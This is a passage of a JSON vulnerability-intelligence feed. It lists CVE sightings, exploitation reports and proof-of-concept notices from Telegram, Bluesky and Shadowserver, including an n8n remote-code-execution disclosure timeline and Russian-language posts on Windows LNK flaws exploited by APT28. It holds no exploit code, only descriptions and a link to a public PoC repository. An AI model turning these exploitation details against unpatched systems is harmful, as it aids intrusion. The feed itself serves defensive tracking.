\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c (\u043f\u0430\u0442\u0447 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u043e\u0433\u043b\u0430\u0441\u043a\u0438).\n\u2022 2026-01-07 \u2014 VULN_PUBLISHED\n\u0417\u0430\u043f\u0438\u0441\u044c CVE \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 NVD (published date).\n\u2022 2026-01-07 \u2014 VENDOR_ADVISORY_PUBLISHED\nGitHub Security Advisory (GHSA-v4pr-fm98-w9pg): affected >= 1.65.0 \u0438 < 1.121.0, patched 1.121.0, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 workaround \u043d\u0435\u0442.\n\u2022 2026-01-07 \u2014 THREAT_RESEARCH_PUBLISHED\n\u0422\u0435\u0445\u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 Cyera Research Labs: Ni8mare in n8n (CVE-2026-21858).\n\u2022 2026-01-07 11:09 \u2014 PUBLIC_POC_RELEASED\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC (\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0441 \u043e\u0442\u043c\u0435\u0442\u043a\u043e\u0439 disclosure time).\n\n\ud83d\udd17 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\n\u2022 https://github.com/Chocapikk/CVE-2026-21858\n\u2022 https://nvd.nist.gov/vuln/detail/CVE-2025-68668\n\u2022 https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858", "creation_timestamp": "2026-08-04T14:00:21.714357Z"}, {"uuid": "7b821a19-b244-4d10-8945-5ca4acdb9a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/CyberDispatch/2690", "content": "Attackers are actively exploiting a CVSS 10.0 Oracle WebLogic flaw\n\nCVE-2026-21962 can let unauthenticated attackers access or modify critical data in Oracle HTTP Server and WebLogic Server Proxy Plug-in via HTTP.", "creation_timestamp": "2026-08-30T00:00:38.982614Z"}, {"uuid": "14cd74af-93e9-48de-a5e1-b2b9cd851e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-30)", "content": "", "creation_timestamp": "2026-04-30T00:00:00.000000Z"}, {"uuid": "c52bceab-c794-4e04-a716-5d931a4e30e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:15:08.788558Z"}, {"uuid": "c90fad29-0646-4441-bc5d-f61df9a52940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2100", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3ms4z3ns7jc2k", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-2100](https://access.redhat.com/errata/RHSA-2026:18143)\nA flaw was found in p11-kit. A ...\nhttps://access.redhat.com/errata/RHSA-2026:18143 #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-08-02T22:15:44.028506Z"}, {"uuid": "754800c3-f349-4758-a2b4-92acee6bf6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3msaadz3ujc2v", "content": "\u4e2d\u56fd\u8a9e\u570f\u306e\u653b\u6483\u8005\u3001DeepSeek\u3068Hermes Agent\u3067\u81ea\u5f8b\u578b \u30b5\u30a4\u30d0\u30fc\u653b\u6483\u3092\u5b9f\u884c Unit 42\u304c7\u4ef6\u306e\u8106\u5f31\u6027 \u60aa\u7528\u3092\u78ba\u8a8d(CVE-2026-33017,CVE-2026-21858\uff0fCVE-2025-68613)\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #cyberattack", "creation_timestamp": "2026-08-04T05:03:44.593183Z"}, {"uuid": "ce01e87c-bdf7-4d8c-b093-14b293db95f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21986", "type": "seen", "source": "Telegram/KY4Khmwkh6j6K3FO9XZ4bHMgqdxLW7Vbu4w-UqAnKuDAQvc", "content": "", "creation_timestamp": "2026-04-28T03:00:06.000000Z"}, {"uuid": "65ac4c05-33f0-45ba-ba17-d266a34cac77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21366", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-10", "content": "", "creation_timestamp": "2026-08-04T16:45:15.591287Z"}, {"uuid": "961c3689-9a17-4f9f-a1f7-dde98b8ceac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21019", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:05.742773Z"}, {"uuid": "a072db13-ed9a-4a38-9b80-5b3bf36c569d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21008", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:05.787486Z"}, {"uuid": "7e703cf8-60b5-452e-a710-3276dff1021d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21016", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:05.833984Z"}, {"uuid": "bdfc46f9-c242-407e-b899-d6b2bac60d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21006", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:06.030178Z"}, {"uuid": "e523b45c-f6ae-4c84-8f83-c2445e4289d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21020", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:06.080688Z"}, {"uuid": "97a97e7d-5748-4c67-acd9-d219c88e5c64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21014", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-04T08:00:06.132306Z"}, {"uuid": "8c6f4a78-4838-43ac-87ec-aa618213850b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-01)", "content": "", "creation_timestamp": "2026-05-01T00:00:00.000000Z"}, {"uuid": "1395909d-cddf-4025-86bd-7173f40eb20b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "Telegram/x22sgVl6GypPYOXXHn-wHtqct96K99W9IXpSyw6N9xLrkNY", "content": "", "creation_timestamp": "2026-07-31T00:00:28.738757Z"}, {"uuid": "459c26b8-26bb-44b0-ae94-35bbd9d76b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-02)", "content": "", "creation_timestamp": "2026-05-02T00:00:00.000000Z"}, {"uuid": "c24be0bb-64f3-474e-939d-0416b620a206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-03)", "content": "", "creation_timestamp": "2026-05-03T00:00:00.000000Z"}, {"uuid": "513cff9a-36e2-4e29-b1e9-43069b4ccfbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "6c4d555b-5e34-4514-b721-a1dd7eae49fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "99b411a6-9982-4b93-8189-6675a043a894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:15:09.699233Z"}, {"uuid": "7b312089-b7fa-4d12-af06-0bdfec35d575", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5589", "content": "Ni8mare\u200a - \u200aUnauthenticated Remote Code Execution in n8n (CVE-2026-21858) #Ni8mare #n8n #RCE #CVE202621858 #Vulnerability https://www.cyera.com/research/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858", "creation_timestamp": "2026-08-01T22:00:05.104180Z"}, {"uuid": "f64cf2a4-4275-4501-ac4a-6eca30028375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "1cfcbac0-0eac-4820-962d-f39a5092294e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "40e43090-ef3e-49ad-8929-4de622d85c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/CyberDispatch/1024", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager.", "creation_timestamp": "2026-08-29T20:00:18.350145Z"}, {"uuid": "8671e839-3253-45e3-9ff2-65625fed878b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://bsky.app/profile/epowo-uzata.mast.qixto.com.ap.brid.gy/post/3mkpgm5qdwee2", "content": "https://www.theregister.com/2026/04/29/microsoft_zero_click_exploit/\nMicrosoftin ep\u00e4t\u00e4ydellinen korjaus aiheuttaa uuden Windowsin nollap\u00e4iv\u00e4haavoittuvuuden aktiivisen hy\u00f6dynt\u00e4misen alla Microsoftin helmikuussa julkaisema korjaus CVE-2026-21510", "creation_timestamp": "2026-04-30T10:44:02.498153Z"}, {"uuid": "b5b62085-1e15-4eea-8086-2ac8a3e36870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://bsky.app/profile/epowo-uzata.mast.qixto.com.ap.brid.gy/post/3mkqngsam7n52", "content": "Keskener\u00e4inen Windows-korjaus luo uuden nollaklikkaushaavoittuvuuden Microsoftin helmikuussa julkaisema korjaus CVE-2026-21510-haavoittuvuudelle\n\nhttps://www.theregister.com/2026/04/29/microsoft_zero_click_exploit/", "creation_timestamp": "2026-04-30T22:18:57.266466Z"}, {"uuid": "6b45c3e8-5938-4f44-af8f-dd7e89bff5b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "MISP/cfdb2abf-6c64-4005-9614-a35e97f306a7", "content": "", "creation_timestamp": "2026-08-04T12:15:10.513857Z"}, {"uuid": "f3a649f7-a9e7-4422-b1ef-893026cfdfdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/itarmyofrussianews/377", "content": "CVE-2026-21510\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Akamai \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21510 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows, \u0432 \u043d\u0435\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0441\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u041d\u043e\u0432\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u043e\u043c\u0435\u0440 CVE-2026-32202. \u0410\u0442\u0430\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c.\n\n\u0423\u0441\u0442\u0440\u0430\u043d\u0438\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 APT28(FancyBear), \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u043c\u0430\u043d\u0438\u0432\u0430\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u043a\u0430.\n\n\u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Fancy Bear, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0433\u043e\u0434\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u044f\u0434 \u0441\u0442\u0440\u0430\u043d \u0432 \u0415\u0432\u0440\u043e\u043f\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u044f\u0440\u043b\u044b\u043a\u0438 Windows. \u0422\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c LNK \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2026-21513 \u0438 CVE-2026-21510. \u0427\u0435\u0440\u0435\u0437 \u043d\u0438\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u044f\u0440\u043b\u044b\u043a\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u043e\u043a. \u0412 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 Windows \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443.\n\n\u041d\u0430\u0448\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b: \n\u041a\u0430\u043d\u0430\u043b \u0444\u043e\u0440\u0443\u043c\u0430: T.ME/XSSF_FORUM\n\u041d\u0430\u0448 \u043a\u0430\u043d\u0430\u043b: T.ME/ITARMYOFRUSSIANEWS", "creation_timestamp": "2026-05-02T11:29:59.000000Z"}, {"uuid": "76a87fd9-94c5-4a01-9bef-5cb8b8843799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/itarmyofrussianews/377", "content": "CVE-2026-21510\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Akamai \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-21510 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows, \u0432 \u043d\u0435\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0441\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u041d\u043e\u0432\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u043e\u043c\u0435\u0440 CVE-2026-32202. \u0410\u0442\u0430\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c.\n\n\u0423\u0441\u0442\u0440\u0430\u043d\u0438\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 APT28(FancyBear), \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u043c\u0430\u043d\u0438\u0432\u0430\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u043a\u0430.\n\n\u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Fancy Bear, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0433\u043e\u0434\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u044f\u0434 \u0441\u0442\u0440\u0430\u043d \u0432 \u0415\u0432\u0440\u043e\u043f\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u044f\u0440\u043b\u044b\u043a\u0438 Windows. \u0422\u0430\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c LNK \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2026-21513 \u0438 CVE-2026-21510. \u0427\u0435\u0440\u0435\u0437 \u043d\u0438\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u044f\u0440\u043b\u044b\u043a\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u043e\u043a. \u0412 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 Windows \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443.\n\n\u041d\u0430\u0448\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b: 